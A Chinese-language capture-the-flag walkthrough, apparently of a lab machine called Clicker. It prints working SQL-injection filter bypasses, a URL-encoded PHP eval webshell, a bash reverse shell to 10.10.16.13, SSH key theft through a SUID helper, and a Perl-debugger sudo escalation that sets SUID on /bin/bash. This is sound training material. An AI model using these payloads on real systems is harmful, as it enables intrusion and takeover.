信息搜集
nmap
1 | sudo nmap -p- -sT -min-rate 4000 10.10.11.232 |
NSF泄露备份文件
2049/tcp open nfs
NFS
是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享,以通过showmount
命令来列出目标机的共享目录,e参数显示NFS服务器的输出清单。
1 | ┌──(kali㉿kali)-[~] |
1 | 总计 64 |
贴几个需要利用的文件
1 | #db_utils.php |
1 | #save_game.php |
1 | #export.php |
漏洞利用(update注入)
升级role
db_utils.php
文件中的save_profile
函数存在sql注入:update
;
利用链:play.php ==> save_game.php ==> db_utils.php ==>save_profile
1 | function save_profile($player, $args) { |
:player
占位符表示一个玩家的用户名,它将在执行查询时被 $params 数组中对应的值所替换。这种做法可以确保 SQL 查询的安全性;但是$setStr
没有使用占用符号;存在注入点;
并且$args
变量是通过save_game.php
文件的foreach($_GET as $key=>$value)
函数,我们完全可以控制;即使在save_game.php
文件对上传的GET参数的键值不能为role
做了限制,也可以轻松绕过;
1 | if (strtolower($key) === 'role') { |
方法一
将role%3d"Admin"%23
当作键值绕过检查,再用#
注释后面的内容
1 | UPDATE players SET role="Admin"# WHERE username = :player |
1 | GET /save_game.php?clicks=0&level=0&role%3d"Admin"%23 |
方法二
利用/**/
绕过strtolower($key) === 'role'
1 | UPDATE players SET role/**/="Admin" WHERE username = :player |
1 | GET /save_game.php?clicks=0&level=0&role%2f%2a%2a%2f=Admin |
👆🐎
export.php
中存在危险函数file_put_contents($filename, $s);
,先来看看$filename
是怎么来的,如下:
“exports/top_players_”加上8个随机字符,变量名为extension
的post传参(这里没有对后缀做检查,可以修改后缀为php等);所以文件后缀是我们可以控制的;
1 | $filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"]; |
再来看看$s
变量是怎么来的;当后缀不是txt,json
时
其中$currentplayer["nickname"]
,$currentplayer["clicks"]
,$currentplayer["level"]
;三个变量是我们可以控制的;
而$currentplayer["clicks"]
,$currentplayer["level"]
的数据类型是数字,所以只能在nickname
动手;
"nickname"
的值也可以通过update
注入来改变;
1 | GET /save_game.php?clicks=1000001&level=0&nickname=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%73%68%65%6c%6c%27%5d%29%3b%3f%3e |
在抓包将后缀改为php;extension=php
反弹shell
1 | POST:shell=system('%2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.13%2F5555%200%3E%261%22'); |
user_www-data
思路应该先去数据库里找敏感信息,找不到再搜集别的敏感信息;
1 | bash-5.1$ find / -perm -4000 2>/dev/null |
将jack用户的suid文件:/opt/manage/execute_query
下载到本地查看
1 | main(){ |
1 | /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < clean.sql |
这里有意思的是即使不是sql文件也可以读取;
1 | bash-5.1$ /opt/manage/execute_query 5 ../.ssh/id_rsa |
id_rsa
是 SSH 密钥文件的默认名称之一。在 SSH 密钥认证中,id_rsa 是私钥文件的默认名称,而 id_rsa.pub 是相应的公钥文件的默认名称。这些文件通常用于 SSH 客户端与服务器进行安全连接和身份验证。私钥文件(id_rsa)应该被妥善保管,而公钥文件(id_rsa.pub)通常被放置在需要进行身份验证的服务器上的 .ssh/authorized_keys
文件中。 SSH 密钥对通常用于替代传统的基于密码的身份验证,提供了更高的安全性。
这里读取的文件格式有点问题第一行和最后一行少了两个-
符号,加上去,还需要将权限改成只读,否则不让连接:
1 | ┌──(kali㉿kali)-[~] |
改成只读就好了,再用ssh连接即可;
1 | chmod 400 id_rsa |
user_jack
提权
1 | -bash-5.1$ sudo -l |
1 | -bash-5.1$ cat /opt/monitor.sh |
其中;
1 | unset PERL5LIB; |
应该时为了预防通过更改这两个环境变量来进行攻击,这说明了里面有perl写的程序。应该是/usr/bin/xml_pp,但是除了两个环境变量是危险的,还有两个。
- **
PERL5OPT=-d
**:这部分将PERL5OPT
环境变量设置为d
。在Perl中,d
选项用于启动调试器,它允许您在代码执行过程中进行调试。通常情况下,这是一个合法的用法,用于在开发和调试Perl脚本时启用调试功能。 - **
PERL5DB='system("chmod u+s /bin/bash");'
**:这部分将PERL5DB
环境变量设置为一个Perl表达式。这个Perl表达式看起来是一个恶意的命令,它试图在Perl调试器环境中运行 **system("chmod u+s /bin/bash");
**。这个命令的目的是在系统中为/bin/bash
这个Shell程序设置了用户可执行的SUID(Set User ID)权限,这将使得任何用户都能以超级用户的权限运行 **/bin/bash
**,这是非常危险和不安全的操作。
大概意思是在执行perl程序时开启调试,然后再调试时运行**system("chmod u+s /bin/bash");
**
执行
1 | sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh |
1 | -bash-5.1$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh |
补充
升级shell命令
1 | script /dev/null -c++ |